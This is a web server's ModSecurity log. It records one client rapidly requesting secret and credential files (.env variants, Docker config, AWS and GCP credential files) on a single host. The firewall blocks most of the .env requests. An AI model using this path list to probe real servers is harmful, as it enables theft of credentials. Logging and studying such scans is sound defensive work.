[Sun Oct 25 15:47:34.621677 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:61472] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5c1tsSLPpDQdwbdhd4WwAAAEs"]
[Sun Oct 25 15:47:34.621890 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:61472] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5c1tsSLPpDQdwbdhd4WwAAAEs"]
[Sun Oct 25 15:47:34.622141 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:61472] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5c1tsSLPpDQdwbdhd4WwAAAEs"]
[Sun Oct 25 15:47:34.727952 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:61474] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5c1vRqe8JFpk4VEd7wHgAAADg"]
[Sun Oct 25 15:47:34.728247 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:61474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5c1vRqe8JFpk4VEd7wHgAAADg"]
[Sun Oct 25 15:47:34.728492 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:61474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5c1vRqe8JFpk4VEd7wHgAAADg"]
[Sun Oct 25 15:47:34.728779 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:61474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5c1vRqe8JFpk4VEd7wHgAAADg"]
[Sun Oct 25 15:47:34.857976 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61478] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5c1tKX2UxtP-t1n16s3wAAADs"]
[Sun Oct 25 15:47:34.858269 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5c1tKX2UxtP-t1n16s3wAAADs"]
[Sun Oct 25 15:47:34.858565 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5c1tKX2UxtP-t1n16s3wAAADs"]
[Sun Oct 25 15:47:34.858820 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5c1tKX2UxtP-t1n16s3wAAADs"]
[Sun Oct 25 15:47:34.940285 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61492] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at5c1j03oOY3EiI_RmqmnwAAAAA"]
[Sun Oct 25 15:47:34.940590 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61492] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at5c1j03oOY3EiI_RmqmnwAAAAA"]
[Sun Oct 25 15:47:34.940808 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61492] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at5c1j03oOY3EiI_RmqmnwAAAAA"]
[Sun Oct 25 15:47:34.941080 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:61492] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at5c1j03oOY3EiI_RmqmnwAAAAA"]
[Sun Oct 25 15:47:35.022482 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61498] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at5c168dg0Qe9Rh6wUUbkwAAAEU"]
[Sun Oct 25 15:47:35.022767 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at5c168dg0Qe9Rh6wUUbkwAAAEU"]
[Sun Oct 25 15:47:35.022990 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at5c168dg0Qe9Rh6wUUbkwAAAEU"]
[Sun Oct 25 15:47:35.023258 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:61498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at5c168dg0Qe9Rh6wUUbkwAAAEU"]
[Sun Oct 25 15:47:35.502417 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:61512] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5c11MMoJX_Woh2jbKcOAAAAEk"]
[Sun Oct 25 15:47:35.502715 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:61512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5c11MMoJX_Woh2jbKcOAAAAEk"]
[Sun Oct 25 15:47:35.502921 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:61512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5c11MMoJX_Woh2jbKcOAAAAEk"]
[Sun Oct 25 15:47:35.503176 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:61512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5c11MMoJX_Woh2jbKcOAAAAEk"]
[Sun Oct 25 15:47:35.988874 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61516] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5c18QLj3BHFe0xVVDOMgAAAAU"]
[Sun Oct 25 15:47:35.989163 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5c18QLj3BHFe0xVVDOMgAAAAU"]
[Sun Oct 25 15:47:35.989404 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5c18QLj3BHFe0xVVDOMgAAAAU"]
[Sun Oct 25 15:47:35.989728 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:61516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5c18QLj3BHFe0xVVDOMgAAAAU"]
[Sun Oct 25 15:47:36.511288 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:61528] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.docker/config.json"] [unique_id "at5c2NsSLPpDQdwbdhd4XAAAAEs"]
[Sun Oct 25 15:47:36.593048 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:61532] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/docker-compose.yml"] [unique_id "at5c2PRqe8JFpk4VEd7wHwAAADg"]
[Sun Oct 25 15:47:36.690204 2026] [security2:error] [pid 2889344:tid 2889344] [client 8.228.81.206:61538] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/docker-compose.yaml"] [unique_id "at5c2NKX2UxtP-t1n16s4AAAADs"]
[Sun Oct 25 15:47:36.795614 2026] [security2:error] [pid 2891189:tid 2891189] [client 8.228.81.206:25974] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.aws/credentials"] [unique_id "at5c2D03oOY3EiI_RmqmoAAAAAA"]
[Sun Oct 25 15:47:36.883041 2026] [security2:error] [pid 2889353:tid 2889353] [client 8.228.81.206:25980] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/~/.aws/credentials"] [unique_id "at5c2K8dg0Qe9Rh6wUUblAAAAEU"]
[Sun Oct 25 15:47:36.958851 2026] [security2:error] [pid 2889357:tid 2889357] [client 8.228.81.206:25982] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/aws-credentials.json"] [unique_id "at5c2FMMoJX_Woh2jbKcOQAAAEk"]
[Sun Oct 25 15:47:36.999952 2026] [security2:error] [pid 2885094:tid 2885094] [client 8.228.81.206:25996] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/credentials"] [unique_id "at5c2MQLj3BHFe0xVVDOMwAAAAU"]
[Sun Oct 25 15:47:37.064785 2026] [security2:error] [pid 2889359:tid 2889359] [client 8.228.81.206:26002] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/credentials.json"] [unique_id "at5c2dsSLPpDQdwbdhd4XQAAAEs"]
[Sun Oct 25 15:47:37.106318 2026] [security2:error] [pid 2889342:tid 2889342] [client 8.228.81.206:26016] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes1.sherwinpinturas.com"] [uri "/gcp-credentials.json"] [unique_id "at5c2fRqe8JFpk4VEd7wIAAAADg"]
